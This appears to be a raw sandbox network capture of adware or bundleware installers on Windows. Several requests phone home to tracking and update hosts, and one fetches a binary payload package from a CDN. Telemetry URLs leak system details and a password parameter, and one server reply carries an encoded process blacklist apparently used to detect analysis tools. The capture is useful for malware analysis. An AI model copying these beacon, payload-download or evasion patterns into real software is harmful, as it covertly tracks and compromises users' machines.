content-transfer-encoding: binary
Cache-Control: max-age=518308, public, no-transform, must-revalidate
Last-Modified: Tue, 14 Apr 2015 02:30:17 GMT
Expires: Tue, 21 Apr 2015 02:30:17 GMT
Date: Wed, 15 Apr 2015 02:32:14 GMT
Connection: keep-alive
0..p......i0..e.. .....0.....V0..R0......Qw.}`[email protected]
4023017Z0s0q0I0... ........l....r.vdv0..*.~Y..X....e?z.4..G.L.......q.
.%Qq.........w.O.....20150414023017Z....20150421023017Z0...*.H........
.....j..f.... %).r...J..4.3T.<..gD.R.mw.>g.A..`.......M.........
A.19.#&W3...7.?.1..G.k...o.jy....i..#....E...Ls%0.h.............i.....
.i....#.........mc......./[email protected]}.c.z....6.R....S..
.e$.JdZY..g8...D.......z/.........7j.]Mx.P5....?C".....Q3....0...0...0
..y.......^..........N...)0...*.H........0J1.0...U....US1.0...U....Tha
wte, Inc.1$0"..U....Thawte Code Signing CA - G20...150303000000Z..1506
01235959Z0Y1.0...U....US1.0...U....Thawte, Inc.1301..U...*Thawte Code 
Signing CA - G2 OCSP Responder0.."0...*.H.............0............).Z
.......O.~.l...,\.3.".'.'W .ih./..}OA...K...HJd....K^..<.....-.rWJ.
j.U.._......W.../.6....J.y.u-.\...2..U.52B.>...=F...RbR.y.zm.......
{b.bj....Y..J..m...*=.^......V.}p......rmA......9.L ...{?.g.-Y........
....8...k.$.:.5..6#4..F.#....t.B.8.O)'F.p).........d0b0...U....0.0...U
.%..0... .......0...U........0... .....0......0"..U....0...0.1.0...U..
..TGV-B-32450...*.H..............C.....8.Aw.{....`...y1N...W4M..M.J.3~
..7#}..X..:x..5....$...Z^%.?6..e...}I.)....... .A.w......_...B..j.T..Y
u.o.....g....H....q.Ju.SA`K.....~..O_.....S....I>..O.X..E.......]..
.y..L..F....K......../...._XSk6.:a};.?`...:^.....p....4Z.3L;.......t..
..>.....j....
<<< skipped >>>


GET /3428_3b67a5ef5d450c1556c543c6323981d9/1.pak HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Host: dlrkbt247pbk6.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 200 OK
Content-Type: binary/octet-stream
Content-Length: 2211109
Connection: keep-alive
Date: Tue, 14 Apr 2015 23:30:31 GMT
Last-Modified: Tue, 14 Apr 2015 23:14:59 GMT
ETag: "bd672bcfb912270b29f4c1dd097905a3"
Accept-Ranges: bytes
Server: AmazonS3
Age: 10694
X-Cache: Hit from cloudfront
Via: 1.1 32f9f1ada194ca89e3e73886fd0ff02e.cloudfront.net (CloudFront)
X-Amz-Cf-Id: k63v3HmqtFr0cq11SOtZxkW3XBLCQydCQ6zZkPpQNLbZxvw_QLaEhw==
...... . .......!.............474.json.....5.9s..[.:?..y....xL..@a....
..w..sN.....^.9....'.t.."....u...........N5..g(.......{.)..Q.!..Dk..ze
f....s.{.kM.S.*:.......6|.&...M..ZWYr.....uA....R/..,...0..........g..
]V3..n.`...}..g_j.......i.n..;.........Ts..C......o.l.'7u..........l..
.z.ZJ......S"Z....f....W..m..^....$m.=...O.Z...k.=..i...`_...;......kV
........V..8?V.;...*......EF...^'...?*..n.r&....o..wv..}\S.,......N...
.4.w...6.......:....s..)......C.eg..4..........~........P.F.E.i....0..
....c.....9..feKn.q.x......y.........................PK...........F..3
.e....K......uninstallDlg2.xml.\m.....^.......z.f.N...mo..As..$(..@K..
.L.../...w(Q.d.k9.6^T..."....gH....o..1.'"...,gh[...G.-gV&...X(..E8...
.'.Z.........E.....(........q"sQ.@}=..Fd..X.8.!...Y..........|.o..1..Y
......%; t..hfI...Q.c.....S..8B.~.x..S%....p.G......u..m.R~%..E.......
.{.gp..9..?.'..k.\..I...]........K..B.$...q...5^.]..1...O......s...-.b
..L..M.s......Z.^qy.....ul.!7....N..2....!;.)..'K...t..4..5.O...q.....
....u...9...:iG4.P....Ek.....(..D.C......ng..{.oP.....{....t..nd8.`. .
c.x..!.;.$7........ve.........p4.s.P....C..l=7e.7.......\0"t=,"..(`f..
[email protected]*.6E%#....)..~N..6........1T.(......3.0...f.......7..xb
...v.&..C..q.`)n..e.Y.L1....j.'"$.q.=~..D.4...5Rq.....B.<(...m.Z...
.z>"...7 .fp..J.&..>*....e.mOl.)#.g@.*....?.?.=..8..f.....B..Q.G
.4.......!.!...`.2.V.....%....hQ.-.Q..^{[email protected]............\..:..
Kv.s....../OW.`N6(..&.....(5."....m..C....c.C..?{C^......pbT..*-...j..
F...R.......U..'o.OJUu.]^4..^........x~ I..0[nV....PA.O...8.'.r.BY
<<< skipped >>>


GET /app/ping.ashx?e=3CcYyD3W31ifZNC1TqAoBPxB88GNdBGDfhalIKY8mkHF v7PQ4kXwFfJuLEsXK5wdTDQrchEgedJGuFgMSoJbKMW bKkE5aHXHOzMoXfreuzIeRzata1huhetAXEFso2Hd5atJBamYqM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXaBQc7HR56MWNJxXQawroNmbktPzt6FdqtvzSMXg z9WmrvcVl0Mf/w== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:36 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 15 Apr 20
15 02:28:36 GMT..Content-Length: 0......


GET /app/ping.ashx?e=eISsn0A7mAbJ8pjs/lobyCxcBYBT1h/GTY7o  ykts29gdZ7vVVoir9hXn5fpF0AWcMhU uLDRW9bNt46T8oeTR6lETnJArbeqfOL09Waq4nbzUS3m/7WLONeuBglAqxaHHlbCgpQ5tCJ2GnHtzkHXfMyWTmYmuAfzApjLfBz7r7ZtsfxNpcZsbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I9gDcoAJAtAYWupXyB/g5yjGYsEX4kIHlvi5n nh6YVLffopz0y2Q7Y HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:37 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=AZwPyJy3TZiu PbZ6jHEZlTMxLPMegp5i9IBntXk4XmovKrJ6qtuelLEqfJll8EjivSYnxWU6cjhuuY8t0g74kvCwL3GJiShrXfIMots/x09LGoxHbVyuYaP0IDq/YEE9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0MW/dRTFoKZrE7kNQwB4lhRWxdc2tTwxuw3v8hOm2WYlwB5esNx9efU= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:37 GMT
Content-Length: 0



GET /Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=istartsurf HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: up.soft365.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:18 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.14p1
Content-Encoding: gzip
14........................0..HTTP/1.1 200 OK..Server: nginx..Date: Wed
, 15 Apr 2015 02:29:18 GMT..Content-Type: text/html; charset=UTF-8..Tr
ansfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodin
g..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..14.............
...........0..



GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429064984&SBPIDS=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=yryr1ujhx150s145etznmk55


HTTP/1.1 200 OK
Connection: close
Date: Wed, 15 Apr 2015 02:29:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...



GET /30690.ashx?e=G4i9JF3YhSYsXAWAU9Yfxu1Z7P7QOfNrQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaD9qLzlG841ywOW6ArhtR GAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:42 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /30690.ashx?e=xBG2NTmY QJUzMSzzHoKeexXPrn6sMnUjA5kVqVgWdAgLxC0aXqYrYyox39H7ctI9BcSbymqSLgpInXVh BhPfCwefCzEcdtXzilmHeLhjQAfzFzOb8vBLPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opWNKEGtOzYkhhE 4ldj4Gl9F9XRoFpwhAXAXh4LPUO ueIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:45 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:45 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /1667.ashx?e=siwKo8d7dVRUzMSzzHoKeaCX1HSyNOdOjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNaRokfD2i3bSiVD03i8rOXiW0guRw9keUsXdgWz9x4otLov/TdmHmyFHmS0Zrngqa/u6z7Uinv/jCvZJfV0k892840jcI/HESVjr4IQgU6/17ym41MswgnBQC drCF7eF8q1Ber6XmkpnWhkcQKrPjN0fAE4Ba7u3Efn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opWNKEGtOzYkhhE 4ldj4Gl9F9XRoFpwhAWyyBfgdC/MPGdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSkJYmXsRYyUuOBh9NmQ0xfNaOxGiX/AiXz4BIAZdfMSnBenFw/kdUCg= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:04 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /1667.ashx?e=siwKo8d7dVRUzMSzzHoKeaCX1HSyNOdOjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNaRokfD2i3bSiVD03i8rOXiW0guRw9keUsXdgWz9x4otLov/TdmHmyFHmS0Zrngqa/u6z7Uinv/jCvZJfV0k892840jcI/HESVjr4IQgU6/17ym41MswgnBQC drCF7eFr6pWGsWy8bJ5iUA4lC8nSqUqjDuAivmJ4m/vJXDvF2G8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhYr5s9v/KDMrnANaSplIC/SpujWJYmVycfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLFjxb3RZ0G7JwAOX7FZBMF8Dz0JkPcFdHnEgtY/ 7tmTCEIsEjkHWEU= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:04 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=541526&mode=nolsp HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: test.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT
Accept-Ranges: bytes
ETag: "bfefaff515ebc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:53 GMT
Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Wed, 15
 Apr 2015 02:28:53 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....



GET /v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en HTTP/1.1
Accept: */*
Accept-Encoding: */*
Connection: Keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: xa.xingcloud.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:28:42 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.90 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 15 Apr 20
15 02:28:42 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.90 ms","message":"store 4 ac
tion and 5 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.istartsurf.finish,2 HTTP/1.1


Accept: */*
Accept-Encoding: */*
Connection: Keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: xa.xingcloud.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:28:44 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.65 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 15 Apr 20
15 02:28:44 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.65 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1429064926 HTTP/1.1
Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: C7cOP44jG5amzMlOQ00gWXP/tQgvfH8o/9iIaC1ENw1FU/BnCgRhLb9n3EBYdkHn
x-amz-request-id: BA0DB239A31A34D9
Date: Wed, 15 Apr 2015 02:28:48 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: C7cOP4
4jG5amzMlOQ00gWXP/tQgvfH8o/9iIaC1ENw1FU/BnCgRhLb9n3EBYdkHn..x-amz-requ
est-id: BA0DB239A31A34D9..Date: Wed, 15 Apr 2015 02:28:48 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=3&rnd=1429064929 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: NY769S2lBaOrCLlFToyW5tOzG7VU5 xfdwQLPyUIf6qlGwFQMVEhdbFf1vVb1YsA
x-amz-request-id: 4129BE8102D1D44B
Date: Wed, 15 Apr 2015 02:28:51 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:16 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: NY769S
2lBaOrCLlFToyW5tOzG7VU5 xfdwQLPyUIf6qlGwFQMVEhdbFf1vVb1YsA..x-amz-requ
est-id: 4129BE8102D1D44B..Date: Wed, 15 Apr 2015 02:28:51 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:16 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1429064930 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: DGVtLSUwwWww4eDLR0ocDRfFGYKYeS4xZidBFRROYNyqry/Dhf8ecRBvKFobJXFw
x-amz-request-id: 2A51D8596FA90CE6
Date: Wed, 15 Apr 2015 02:28:51 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1429064930 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Oua3HWYxrs8SvOH9gBNj/F27xhMJrnfq6dEyf7xYhuck7iprietsd xfKRQEFUKm
x-amz-request-id: A763BDA20E9D949E
Date: Wed, 15 Apr 2015 02:28:51 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Oua3HW
Yxrs8SvOH9gBNj/F27xhMJrnfq6dEyf7xYhuck7iprietsd xfKRQEFUKm..x-amz-requ
est-id: A763BDA20E9D949E..Date: Wed, 15 Apr 2015 02:28:51 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429064933 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 862NhpjG5xnKLTd8YUbBvpOSbMNGgj9GBJPvBkJ7glkVqTmae4NzicZJQpfSq0b/
x-amz-request-id: 4FE48A9EA5B99CE1
Date: Wed, 15 Apr 2015 02:28:54 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 862Nhp
jG5xnKLTd8YUbBvpOSbMNGgj9GBJPvBkJ7glkVqTmae4NzicZJQpfSq0b/..x-amz-requ
est-id: 4FE48A9EA5B99CE1..Date: Wed, 15 Apr 2015 02:28:54 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429064933 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: y/MmlGQTlETgxic7/ TWcIBZLh/tSwfwjgIB6nyFpWpy xZuvCXUuEjbKZGKzbrk
x-amz-request-id: 63ADD04DE3FED114
Date: Wed, 15 Apr 2015 02:28:54 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429064933 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 2DDX0NvrMvFA3ep1EKJivOuf0Ztab1O2xH7scVIPY1q2EMCuZWsThl3ILJIqYekR
x-amz-request-id: C1C3C5ED02738B3E
Date: Wed, 15 Apr 2015 02:28:54 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429064933 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: ccvXLWh6CIAN3tl3lFwNJKG6yc6egj0gi 1WwGTV/qeTAslXKbYTQ9deW50lNjI6
x-amz-request-id: 7FE8298553A9C4EB
Date: Wed, 15 Apr 2015 02:28:54 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429064934 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: p8fS8m4AunNCOfpouKYIzfnktTbRN3sMC6b3lPwBvnKyiA9I3yc0v0NCnb/KqcfW
x-amz-request-id: 4B796D05E3AEC17F
Date: Wed, 15 Apr 2015 02:28:55 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429064934 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: VlFSz6Cz0UYmeu5LhqAI4uWGGK8lsBexDsqkomRjCb5Y9sJs7b eNiZn3ugxrZxK
x-amz-request-id: 429E131DDD560010
Date: Wed, 15 Apr 2015 02:28:55 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
